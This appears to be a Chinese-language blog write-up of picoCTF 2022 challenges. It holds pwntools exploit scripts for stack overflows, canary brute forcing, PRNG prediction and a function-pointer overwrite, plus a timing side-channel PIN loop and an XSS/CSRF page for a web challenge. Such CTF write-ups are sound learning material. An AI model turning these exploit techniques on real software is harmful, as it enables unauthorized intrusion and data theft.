0x01 前言

这次有幸参加了 Carnegie Mellon University,也就是卡巴梅隆大学的Pico CTF 截止到现在,3月21号,目前本人战绩如下:

主题来说,这次CTF的难度没有很高,Pwn系列题目没有堆题,主要是考察选手栈的升入理解,以及GDB动态能力;有幸帮助队伍解开了Forensics两道高分题,WEB一道高分题其实不是很难,哈哈

Binary Exploitation

Basic-file exp

1
2
3
4
5
6
7

if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}

完全的签到,输入的entry == 0直接打印flag

Buffer overflow zero

因为程序堆溢出做出了检查,如果检查到溢出,就打印flag

1
signal(11, (__sighandler_t)sigsegv_handler); // --> puts(flag);

直接溢出即可;

Buffer overflow one

基本栈溢出,offset = 44 溢出后返回到win函数

1
2
3
4
io = conn()
offset = 44
io.sendlineafter('Please enter your string: \n','a'*offset + p32(0x80491F6))
io.interactive()

Buffer overflow Two

需要控制函数的参数,正常打

1
2
3
4
5
6
7
8
9
10
+----------+
l padding l
+----------+ ---- > rbp
l ret_addr l
------------ payload = 'a' * offset + p32(win) + p32(0xdeadbeef) + p32(0xCAFEF00D) + p32(0xF00DF00D)
l fake_ret l
-----------+
l args l
------------

buffer overflow Three

这题算比较有意思的,需要你获取栈上的canary,但是由于是固定的,可以直接 One-by-One 爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// set_canary
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
exit(0);
}

fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
// test canary in main
// ................
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
exit(-1);
}

我们需要一字节一字节的爆破canary 如果我们输入的单个字节是正确的,则不会报错,反正,则会报错:

EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cancary = ''
def leak_canary():
cancary = ''
for i in range (1,5):
for j in range(1,256):
offset = **** # find by your self :)
io = conn()
io.sendlineafter("> ",str(-1)) # l Paddings.... l
io.sendafter("Input> ",'a'*offset+cancary+chr(j)) # +--------------+
time.sleep(0.1) # l canary l ----> overflowed
result = io.recvline() # +--------------+
if result == "Ok... Now Where's the Flag?\n":
log.success(cancary)
cancary += chr(j)
break

else:
pass
return cancary

io = conn()
canary = leak_canary()
io.sendlineafter("> ",str(-1))
payload = 'a'*64+canary+'b'*0x10
payload += p32(0x8049336)
io.sendafter("Input> ",payload)
io.interactive()

RPS

RPC ,则是 Rock-Paper-Scissor的缩写,目标会控制对手用time(0)为种子,加载随机数下标,的方式与我们玩石头剪刀布,而我们需要连续赢5次才可以获取到Flag,我们猜中的概率太小了,但是,由于是伪随机,我们可以在控制对手出的同时打开一个同样为time(0)为种子的程序,输出随机数。这样我们输出的随机数和目标机器的会相同,但是,这里有个细节,机器的石头剪刀布列表中的石头,剪刀,布的位置和用户的石头剪刀布的列表是不一样的,需要注意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);

//char* hands[3] = {"rock", "paper", "scissors"};
//char* loses[3] = {"paper", "scissors", "rock"};

if (strstr(player_turn, loses[computer_turn])) { // <--- detecting....
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}

这里不给EXP了哦,大家自己试一试,现在比赛还在打呢,我看比赛比完了给大家,可以在执行到猜拳函数的时候在开个process()

(exp):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
context.terminal = ["windpw"]
#context.arch = "i386"

elf = ELF("./vuln_patched")
context.binary = elf


def conn():
arg = 1
if arg == 1:
r = process([elf.path])
#env="LD_PRELOAD":libc
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)

return r


io = conn()

io.interactive()%
➜ Pico2022 cat RPS/solve.py
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
context.terminal = ["windpw"]
#context.arch = "i386"

#random = process('./rand'

def conn():
arg = 2
if arg == 1:
r = process([elf.path])
#env="LD_PRELOAD":libc
if args.DEBUG:
gdb.attach(r)
else:
r = remote("saturn.picoctf.net",53865)

return r

def action(idx):
global idd
if idd != 1:
io.sendlineafter("Type '2' to exit the program\r\n",'1')
player = ["paper", "scissors", "rock"]
io.recvuntil("Please make your selection (rock/paper/scissors):\r\n")
io.sendline(player[idx])
idd = 2

io = conn()
io.sendlineafter("Type '2' to exit the program\r\n",'1')
idd = 1
ran = ['']
random = process('./srand')
for i in range(1,6):
ran.append(random.recvuntil('\n',drop=True))

action(int(ran[1]))
action(int(ran[2]))
action(int(ran[3]))
action(int(ran[4]))
action(int(ran[5]))

io.interactive()

ROP-fu && Wine

这两题都比较基础,ret2syscall和windows栈溢出,完全没有难度,大家自己做吧哈哈哈

小提示:windows栈溢出直接用普通栈溢出思想就行了

Function Overwrite

漏洞函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void vuln()
{
void (*check)(char*, size_t) = hard_checker;
char story[128];
int num1, num2;

printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);

if (num1 < 10)
{
fun[num1] += num2;
}

check(story, strlen(story));
}

Check函数们和子类函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}

return score;
}

void easy_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 1337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 1337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}

void hard_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 13371337)
// all same , won't display.
}

可以看到,check函数默认加载的是hard check函数,并且调用calculate_story_scorestory数组的每一位相加。但是我们知道,一位字符,最大只能是0xff,也就是\xff,127个最大也只能累加到0xff * 127也就是32385,和13371337差者远呢,同时,主函数对于数组的下表也没有检查,所以我们要通过数组溢出,修改check指针,修改成easy_cheak

1
2
3
4
5
6
7
pwndbg>  p/x &fun[-2758]
$43 = 0x56556528
0x56556528 <+53>: cmp eax,0xcc07c9 hard 0xf3850f00cc07c93d
0x565563a8 <+53>: cmp eax,0x539 easy 0xf3850f000005393d

hard = 0xf3850f00cc07c93d
easy = 0xf3850f000005393d
  • 1337 = (0x50 * 16) + 0x39
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
context.terminal = ["windpw"]
context.arch = "i386"

elf = ELF("./vuln")
context.binary = elf


def conn():
arg = 2
if arg == 1:
r = process([elf.path])
#env="LD_PRELOAD":libc
if args.DEBUG:
gdb.attach(r)
else:
r = remote("saturn.picoctf.net",61713)

return r

easy = elf.sym['easy_checker']
hard = elf.sym['hard_checker']
offset = easy - hard # hard + x = easy
io = conn()

# for i in range(1,40):
# try:
# io = conn()
# payload = '\x50' * 16 + '\x39'
# log.info(payload)
# io.sendlineafter("Tell me a story and then I'll tell you if you're a 1337 >> ",payload)
# # print(offset)
# payload = '-{}'.format(i) + '\n' + str(offset)
# io.sendlineafter("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n",payload)
# resu = io.recvline()
# if 'failed' not in resu:
# break
# gdb.attach(io)
# pause()
# except EOFError:
# pass

payload = '\x50' * 16 + '\x39'
log.info(payload)
io.sendlineafter("Tell me a story and then I'll tell you if you're a 1337 >> ",payload)
payload = '-16' + '\n' + str(offset)
io.sendlineafter("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n",payload)
io.interactive()

flag leak

格式化字符串,%x泄露栈内flag,之后可以用Cyber Chef直接ascii转字符,有flag了.

stack cache

保存的retaddress返回到特定函数,泄露flag

Forensic

只做了两题,也只会将两题

SideChannel

这题出的很有意思,首先,根据名字和提示所说,我们知道,这是一道和旁路攻击有关的题目

旁路攻击(Side Channel Attacks,SCA),密码学中是指绕过对加密算法的繁琐分析,利用密码算法的硬件实现的运算中泄露的信息,如执行时间、功耗、电磁辐射等,结合统计理论快速的破解密码系统。

emmm,题目要我们破解一个8位的数字验证码,如果我们直接爆破,则需要10^8次尝试,可以说是天文数字了,但是,经过后续的观察,由于算法的原因,我们可以使用时间旁道攻击。其实,说白了,在进行比对的时候,只有第一位正确,才会进入下一位检擦,那么就说明了,检查特定开头的数字,所需要的时间也不同,因此,我们只需要找出每一位数据的outlier,就能找出密码

1
2
3
4
5
6
7
8
9
10
11
for i in range(xxxx,xxxx,xxxx):
try:
io = conn()
timenow = time.time()
io.sendlineafter("Please enter your 8-digit PIN code:",str(i))
io.recvuntil("Checking PIN...\n")
result = io.recvline()
log.success("{},required {}".format(i,time.time()-timenow))
except OSError:
pass

大概的脚本如下,关键信息没放,自己破解吧哈哈哈

Torrent Analyze

https://www.aneasystone.com/archives/2015/05/analyze-magnet-protocol-using-wireshark.html

我把思路放这儿了,自己填空啊哈哈哈哈

PCAP文件首先过滤xxxx协议,简单看一看会发现xxxxx请求,里面有xxxx字段,xxxx是文件的xxx,复制放在迅雷里面就开始下载了

Web Exploitation

Noted

一道js题目,可以看到程序的执行流如下:

graph TB id1(Entre) ---> id2(login) id1 --> id3(register) --> id2 id2 --> id4(report) id2 --> id5(note) id5 --> a[add] id5 --> b[view] id5 --> c[delete]

用户首先可以登陆账户,如果没用,可以注册,用户登录账户后,可以选择report,让headless chrome访问一个url,还有note功能,同时也有一个store xss

同时,通过浏览源码,我们可以得知reportheadless chrome的执行流如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const crypto = require('crypto');
const puppeteer = require('puppeteer');

async function run(url) {
let browser;

try {
module.exports.open = true;
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: ['--incognito', '--no-sandbox', '--disable-setuid-sandbox'],
slowMo: 10
});

let page = (await browser.pages())[0]

await page.goto('http://0.0.0.0:8080/register');
await page.type('[name="username"]', crypto.randomBytes(8).toString('hex'));
await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('http://0.0.0.0:8080/new');
await page.type('[name="title"]', 'flag');
await page.type('[name="content"]', process.env.FLAG ?? 'ctf{flag}');

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('about:blank')
await page.goto(url);
await page.waitForTimeout(7500);

await browser.close();
} catch(e) {
console.error(e);
try { await browser.close() } catch(e) {}
}

module.exports.open = false;
}

module.exports = { open: false, run }

可以看到,headless chrome在前往我们提供的url前,会新创建一个note,并且存放着flag,但是,因为headless chrome密码是随机的,同时也不能爆破那么,如果我们在vps上做一个js,能让headless chrome访问我们的vps,并执行js,通过windows类方法做出像csrf的操作,保存headless chrome中的flag,最后,在访问储存的xss,我们说不定就能拿到flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<html>


<head>
<form action="login" id="loginform" method="POST">
<input type="hidden" name="username" value="1234" />
<input type="hidden" name="password" value="1234" />
<input type="submit" value="submit" />
</form>
</head>
<body>
<p>hello world</p>
<script>

const delay = ms => new Promise((resolve, reject) => setTimeout(resolve, ms))

function openWindowWithPost(url, data) {
var form = document.createElement("form");
form.target = "_blank";
form.method = "POST";
form.action = url;
form.style.display = "none";

for (var key in data) {
var input = document.createElement("input");
input.type = "hidden";
input.name = key;
input.value = data[key];
form.appendChild(input);
}

document.body.appendChild(form);
form.submit();
document.body.removeChild(form);
}

window.open('http://0.0.0.0:8080/notes', 'flagWindow');
delay(100);
openWindowWithPost('http://0.0.0.0:8080/login',{username: "xxxx",password: "xxxx"});
delay(100);
window.open('http://0.0.0.0:8080/', 'xssWindow');

</script>
</body>
</html>

最后,在自己创建的账号上创建一个通过读取第一个窗口的html,并发送到ceye或者vps上,我们就能读取到flag

REVERSE

REVERSE 其他的题目可以说有手就行;只讲一道比较难的哦

Wizardlike

题目的主要功能,就玩一个迷宫,条件如下:

w‘, ‘a‘, ‘s‘, ‘d‘ moves your character and ‘Q‘ quits. You’ll need to improvise some wizardly abilities to find the flag in this dungeon crawl. ‘.‘ is floor, ‘#‘ are walls, ‘<‘ are stairs up to previous level, and ‘>‘ are stairs down to next level.

但是,到第三关的时候就会发现过不去了,一般的思路是想办法玩到第十关,获得flag,但是,嘿嘿嘿,不是的,不信可以先用string

1
2
3
4
➜  strings game | grep '{'
➜ strings game | grep 'flag'
➜ strings game | grep 'pico'
➜ strings game | grep 'ctf'

一个都没有,那咋办呢,哈哈哈那么我们就先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall main(int a1, char **a2, char **a3)
{
// Unrelative Codes .......
switch ( v15 )
{
case 'Q':
v7 = 0;
break;
case 'w':
forwards(v5);
break;
case 's':
back(v5);
break;
case 'a':
left(v5);
break;
case 'd':
right(v5);
break;
}
v8 = byte_1FEA0[100 * dword_1FE74 + dword_1FE70];
if ( v8 == 62 )
{
++dword_1FE7C;
}
else if ( v8 == 60 )
{
--dword_1FE7C;
}
}
endwin();
return 0LL;

我们的重点放到wsad这几个键代表的移动上,跟进

1
2
3
4
5
6
7
8
9
10
11
12
__int64 right()
{
__int64 result; // rax

result = detect_walls(dword_1FE70 + 1, dword_1FE74);
if ( (_BYTE)result )
{
if ( dword_1FE70 >= dword_1FE98 / 2 && dword_1FE98 / -2 + 99 >= dword_1FE70 )
++dword_1FE90;
result = (unsigned int)++dword_1FE70;
}
return result;

可以看到,里面有一个detectwalls 函数,我们再跟进看看

1
2
3
4
5
6
7
_BOOL8 __fastcall vuln(int a1, int a2)
{
if ( a1 > 99 || a2 > 99 || a1 < 0 || a2 < 0 )
return 0LL;
return byte_1FEA0[100 * a2 + a1] != '#' && byte_1FEA0[100 * a2 + a1] != ' ';

}

可以看到,这里是主要的探查障碍物的函数,那我们可以通过篡改障碍物这些的数据,来绕过

1
2
3
4
5
.text:0000000000001615                 movzx   eax, byte ptr [rax]
.text:0000000000001618 cmp al, 61h ; 'a'
.text:000000000000161A jz short loc_1656
// .........
cmp al, 62h ; 'b'

可以看到,我把原来的#` 改成了ab`,这样,我们就能绕过检查了,

那么,这是我们玩到第十关,发现,也没有flag呀!

那咋办呢,嘿嘿嘿